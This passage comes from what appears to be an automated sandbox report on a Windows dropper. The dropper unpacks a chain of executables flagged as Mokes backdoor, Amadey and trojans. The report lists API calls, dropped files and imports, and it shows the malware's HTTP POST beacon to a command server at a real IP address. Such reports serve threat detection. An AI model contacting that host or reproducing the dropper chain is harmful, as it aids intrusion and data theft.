"00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")3c:T489,46/72 Antivirus vendors marked spawned process "tX4Xf64.exe" (PID: 6500) as malicious (classified as "HEUR:Backdoor.Mokes" with 63% detection rate) 47/72 Antivirus vendors marked spawned process "yh9Qx09.exe" (PID: 7164) as malicious (classified as "HEUR:Backdoor.Mokes" with 65% detection rate) 44/72 Antivirus vendors marked spawned process "mu6rE08.exe" (PID: 6672) as malicious (classified as "HEUR:Backdoor.Mokes" with 61% detection rate) 46/72 Antivirus vendors marked spawned process "Lb2xB02.exe" (PID: 7144) as malicious (classified as "Backdoor.Mokes" with 63% detection rate) 33/72 Antivirus vendors marked spawned process "nk2xW14.exe" (PID: 5824) as malicious (classified as "Kryptik.HUYH" with 45% detection rate) 22/72 Antivirus vendors marked spawned process "1BU76bP5.exe" (PID: 6512) as malicious (classified as "Kryptik.HUYH" with 30% detection rate) 25/72 Antivirus vendors marked spawned process "2Zz0679.exe" (PID: 7244) as malicious (classified as "Kryptik.HUYH" with 34% detection rate) 50/72 Antivirus vendors marked spawned process "3Ix70mE.exe" (PID: 7200) as malicious (classified as "Gen:Trojan.Heur" with 69% detection rate)3d:Ta3e,"file.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f46a005c7b1b7218ab760000000000c0f46a00b4441b7218ab760018f56a0065251b7218ab760001000000c1222839000000009fbab5360000000003000000ccf56a000a000000e818000010f66a0048f56a005b00000003000000d0f46a00d8f46a00e0f76a00e0561b7299c75f4bfeffffff20f66a0047f219729fbab536 (UID: 00000000-00007720) "tX4Xf64.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fb8c005c7b1b7288ae940000000000a8fb8c00b4441b7288ae940000fc8c0065251b7288ae9400010000008fba6f4b00000000064add2b0000000003000000b4fc8c000a000000cc0e0000f8fc8c0030fc8c005b00000003000000b8fb8c00c0fb8c00c8fe8c00e0561b72cf56fe39feffffff08fd8c0047f21972064add2b (UID: 00000000-00006500) "yh9Qx09.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b1b72e8ae49000000000028f51100b4441b72e8ae490080f5110065251b72e8ae4900010000006711084800000000678dda2c000000000300000034f611000a0000004019000078f61100b0f511005d0000000300000038f5110040f511004cf81100e0561b72a7f4043afeffffff8cf6110047f21972678dda2c00000000 (UID: 00000000-00007164) "mu6rE08.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b1b72d0ae8c000000000020fc3a00b4441b72d0ae8c0078fc3a0065251b72d0ae8c00010000006d62064900000000e018702a00000000030000002cfd3a000a0000005018000070fd3a00a8fc3a005d0000000300000030fc3a0038fc3a0044ff3a00e0561b72558e213bfeffffff84fd3a0047f21972e018702a00000000 (UID: 00000000-00006672) "Lb2xB02.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f876005c7b1b7248baa3000000000008f97600b4441b7248baa30060f9760065251b7248baa3000100000037ef3a3b00000000617de23e000000000300000014fa76000a000000380b000058fa760090f976005d0000000300000018f9760020f9760028fc7600e0561b7217065149feffffff68fa760047f21972617de23e (UID: 00000000-00007144) "nk2xW14.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000007b1b7280b94b030000000030f9fb00b4441b7280b94b0388f9fb0065251b7280b94b0301000000dba360820000000090bf802c00000000030000003cfafb000a000000881a000080fafb00b8f9fb005d0000000300000040f9fb0048f9fb0054fcfb00e0561b72134a86f0feffffff94fafb0047f2197290bf802c00000000 (UID: 00000000-00005824) "AppLaunch.exe" called "GetVersionExA" with parameter 94000000060000000300000080250000020000000000000016000016a4ec000060d34f03a8ce4d031000000060524f030100000003000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d00 (UID: 00000000-00007048)3e:T474,"file.exe" called "FindResourceA" with parameter "13243000" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243008" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243036" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243248" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243064" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243220" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243232" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "7009804" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243116" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243212" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "7009800" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243080" - (UID: 00000000-00007720) "file.exe" called "FindResourceA" with parameter "13243088" - (UID: 00000000-00007720)3f:T710,"tX4Xf64.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\tX4Xf64.exe]- [targetUID: 00000000-00006500] "yh9Qx09.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\yh9Qx09.exe]- [targetUID: 00000000-00007164] "4Tx380er.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\4Tx380er.exe]- [targetUID: 00000000-00006672] "2Zz0679.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\2Zz0679.exe]- [targetUID: 00000000-00005824] "mu6rE08.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\mu6rE08.exe]- [targetUID: 00000000-00007164] "1BU76bP5.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP005.TMP\1BU76bP5.exe]- [targetUID: 00000000-00005824] "Lb2xB02.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP003.TMP\Lb2xB02.exe]- [targetUID: 00000000-00007144] "nk2xW14.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\nk2xW14.exe]- [targetUID: 00000000-00007144] "5ur9cS3.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP002.TMP\5ur9cS3.exe]- [targetUID: 00000000-00007164] "6Pp6Px0.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP001.TMP\6Pp6Px0.exe]- [targetUID: 00000000-00006500] "7ho9Fx74.exe" has type "PE32 executable (console) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP000.TMP\7ho9Fx74.exe]- [targetUID: 00000000-00007720] "3Ix70mE.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%TEMP%\IXP004.TMP\3Ix70mE.exe]- [targetUID: 00000000-00007144]40:T441,Found reference to API "ExitProcess" (Indicator: "ExitProcess"; File: "file") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; File: "file") Found reference to API "CorExitProcess" (Indicator: "ExitProcess"; File: "4Tx380er.exe.4175326223") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "ExitProcess" (Indicator: "ExitProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "TerminateProcess" (Indicator: "TerminateProcess"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")41:T616,46/72 Antivirus vendors marked dropped file "tX4Xf64.exe" as malicious (classified as "HEUR:Backdoor.Mokes" with 63% detection rate) 47/72 Antivirus vendors marked dropped file "yh9Qx09.exe" as malicious (classified as "HEUR:Backdoor.Mokes" with 65% detection rate) 25/72 Antivirus vendors marked dropped file "4Tx380er.exe" as malicious (classified as "Kryptik.HUYH" with 34% detection rate) 25/72 Antivirus vendors marked dropped file "2Zz0679.exe" as malicious (classified as "Kryptik.HUYH" with 34% detection rate) 44/72 Antivirus vendors marked dropped file "mu6rE08.exe" as malicious (classified as "HEUR:Backdoor.Mokes" with 61% detection rate) 22/72 Antivirus vendors marked dropped file "1BU76bP5.exe" as malicious (classified as "Kryptik.HUYH" with 30% detection rate) 46/72 Antivirus vendors marked dropped file "Lb2xB02.exe" as malicious (classified as "Backdoor.Mokes" with 63% detection rate) 33/72 Antivirus vendors marked dropped file "nk2xW14.exe" as malicious (classified as "Kryptik.HUYH" with 45% detection rate) 57/72 Antivirus vendors marked dropped file "5ur9cS3.exe" as malicious (classified as "Amadey" with 79% detection rate) 49/71 Antivirus vendors marked dropped file "6Pp6Px0.exe" as malicious (classified as "Trojan.Generic" with 69% detection rate) 23/72 Antivirus vendors marked dropped file "7ho9Fx74.exe" as malicious (classified as "BehavesLike.RealProtect" with 31% detection rate) 50/72 Antivirus vendors marked dropped file "3Ix70mE.exe" as malicious (classified as "Gen:Trojan.Heur" with 69% detection rate)42:T602,"file.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "file.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "tX4Xf64.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "tX4Xf64.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "yh9Qx09.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "yh9Qx09.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "mu6rE08.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "mu6rE08.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "Lb2xB02.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "Lb2xB02.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "nk2xW14.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "nk2xW14.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "1BU76bP5.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "1BU76bP5.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "AppLaunch.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "2Zz0679.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "2Zz0679.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E0000 "3Ix70mE.exe" loaded module "%WINDIR%\SysWOW64\bcryptprimitives.dll" at 741F0000 "3Ix70mE.exe" loaded module "%WINDIR%\SysWOW64\bcrypt.dll" at 730E000043:T706,Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "file") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; File: "file") file/memory contains long string with (Indicator: "OpenProcessToken"; File: "file") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "4Tx380er.exe.4175326223") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "4Tx380er.exe.4175326223") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcessToken"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcessToken"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")44:T74d,Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; File: "file") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00005824.00000000.68203.0134A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00005824.00000000.68203.03490000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00006500.00000001.69934.00920000.00000004.mdmp, 00000000-00006500.00000002.71851.00920000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00006500.00000001.69934.00E7A000.00000002.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "" (Indicator: "SetFileAttributes"; Source: "00000000-00006672.00000000.68102.008A0000.00000004.mdmp, 00000000-00006672.00000002.71940.008A0000.00000004.mdmp") Found reference to API "SetFileAttributesA" (Indicator: "SetFileAttributes"; Source: "00000000-00006672.00000000.68102.010DA000.00000002.mdmp")45:T12ad,"file.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\tX4Xf64.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "file.exe" wrote 1536 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP000.TMP\7ho9Fx74.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tX4Xf64.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\yh9Qx09.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "tX4Xf64.exe" wrote 5632 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP001.TMP\6Pp6Px0.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "yh9Qx09.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\mu6rE08.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "yh9Qx09.exe" wrote 29184 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP002.TMP\5ur9cS3.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "mu6rE08.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\Lb2xB02.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "mu6rE08.exe" wrote 27136 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP003.TMP\4Tx380er.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Lb2xB02.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\nk2xW14.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "Lb2xB02.exe" wrote 23040 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP004.TMP\3Ix70mE.exe": 4d5aff000100000004001000ffff00004001000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0a240000000000000000 ... "nk2xW14.exe" wrote 32768 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\1BU76bP5.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "nk2xW14.exe" wrote 18432 bytes starting with PE header signature to file "C:\Users\%OSUSER%\AppData\Local\Temp\IXP005.TMP\2Zz0679.exe": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...46:T929,"nk2xW14.exe" called "FindFirstFileA" with parameter %TEMP%\IXP005.TMP\* (UID: 00000000-00005824) "nk2xW14.exe" called "FindNextFileA" with parameter .. (UID: 00000000-00005824) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00007048) "AppLaunch.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00007048)47:T12e8,"file" was detected as "Microsoft Cabinet" and name: "sfx" "file" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Visual C/C++" and name: "Compiler" "file" was detected as "Microsoft Cabinet File" and name: "Archive" "file" was detected as "Microsoft Linker" and name: "Linker" "tX4Xf64.exe" was detected as "Microsoft Cabinet" and name: "sfx" "tX4Xf64.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "tX4Xf64.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "tX4Xf64.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "tX4Xf64.exe" was detected as "Microsoft Linker" and name: "Linker" "yh9Qx09.exe" was detected as "Microsoft Cabinet" and name: "sfx" "yh9Qx09.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "yh9Qx09.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "yh9Qx09.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "yh9Qx09.exe" was detected as "Microsoft Linker" and name: "Linker" "4Tx380er.exe" was detected as "Microsoft Cabinet" and name: "sfx" "4Tx380er.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "4Tx380er.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "4Tx380er.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "4Tx380er.exe" was detected as "Microsoft Linker" and name: "Linker" "2Zz0679.exe" was detected as "Microsoft Cabinet" and name: "sfx" "2Zz0679.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "2Zz0679.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "2Zz0679.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "2Zz0679.exe" was detected as "Microsoft Linker" and name: "Linker" "mu6rE08.exe" was detected as "Microsoft Cabinet" and name: "sfx" "mu6rE08.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "mu6rE08.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "mu6rE08.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "mu6rE08.exe" was detected as "Microsoft Linker" and name: "Linker" "1BU76bP5.exe" was detected as "Microsoft Cabinet" and name: "sfx" "1BU76bP5.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "1BU76bP5.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "1BU76bP5.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "1BU76bP5.exe" was detected as "Microsoft Linker" and name: "Linker" "Lb2xB02.exe" was detected as "Microsoft Cabinet" and name: "sfx" "Lb2xB02.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "Lb2xB02.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "Lb2xB02.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "Lb2xB02.exe" was detected as "Microsoft Linker" and name: "Linker" "nk2xW14.exe" was detected as "Microsoft Cabinet" and name: "sfx" "nk2xW14.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "nk2xW14.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "nk2xW14.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "nk2xW14.exe" was detected as "Microsoft Linker" and name: "Linker" "5ur9cS3.exe" was detected as "Microsoft Cabinet" and name: "sfx" "5ur9cS3.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "5ur9cS3.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "5ur9cS3.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "5ur9cS3.exe" was detected as "Microsoft Linker" and name: "Linker" "6Pp6Px0.exe" was detected as "Microsoft Cabinet" and name: "sfx" "6Pp6Px0.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "6Pp6Px0.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "6Pp6Px0.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "6Pp6Px0.exe" was detected as "Microsoft Linker" and name: "Linker" "7ho9Fx74.exe" was detected as "Microsoft Cabinet" and name: "sfx" "7ho9Fx74.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "7ho9Fx74.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "7ho9Fx74.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "7ho9Fx74.exe" was detected as "Microsoft Linker" and name: "Linker" "3Ix70mE.exe" was detected as "Microsoft Cabinet" and name: "sfx" "3Ix70mE.exe" was detected as "EP:Microsoft Visual C/C++" and name: "Compiler" "3Ix70mE.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "3Ix70mE.exe" was detected as "Microsoft Cabinet File" and name: "Archive" "3Ix70mE.exe" was detected as "Microsoft Linker" and name: "Linker"48:T560,RegCloseKey OpenProcessToken RegCreateKeyExA RegOpenKeyExA RegDeleteValueA GetTempFileNameA GetSystemInfo GetFileAttributesA LoadLibraryA GetVersionExA GetModuleFileNameA LoadLibraryExA CreateDirectoryA DeleteFileA UnhandledExceptionFilter GetProcAddress GetStartupInfoW GetTempPathA CreateThread LockResource FindFirstFileA WriteFile FindNextFileA GetSystemDirectoryA GetModuleHandleW GetDriveTypeA TerminateProcess CreateProcessA Sleep CreateFileA GetTickCount FindResourceA GetTempPathW OutputDebugStringW CreateThreadpoolWait GetModuleFileNameW IsDebuggerPresent LoadLibraryExW ExitThread GetModuleHandleExW CreateThreadpoolWork SleepConditionVariableCS GetFileSizeEx FindNextFileW FindFirstFileExW CreateFileW GetNativeSystemInfo GetCommandLineW SleepConditionVariableSRW GetCommandLineA GetTickCount64 CreateThreadpoolTimer LookupAccountNameA GetUserNameA GetDriveTypeW GetThreadContext WriteProcessMemory CopyFileA GetVersionExW ReadProcessMemory DeleteFileW GetComputerNameExW VirtualAllocEx GetModuleHandleA VirtualAlloc ShellExecuteA HttpSendRequestA InternetOpenUrlA InternetReadFile InternetCloseHandle InternetOpenA InternetConnectA InternetOpenW CreateDirectoryW GetTempFileNameW LoadLibraryW GetSystemDirectoryW FindResourceW CreateProcessW ShellExecuteExW GetWindowThreadProcessId49:Tabe,Contains base64 string in header "POST" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; boundary=4JJ9sCTMuDprKh96taGYContent-Length: 213User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)Host: 193.233.255.73Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /loghub/master HTTP/1.1Content-Type: multipart/form-data; 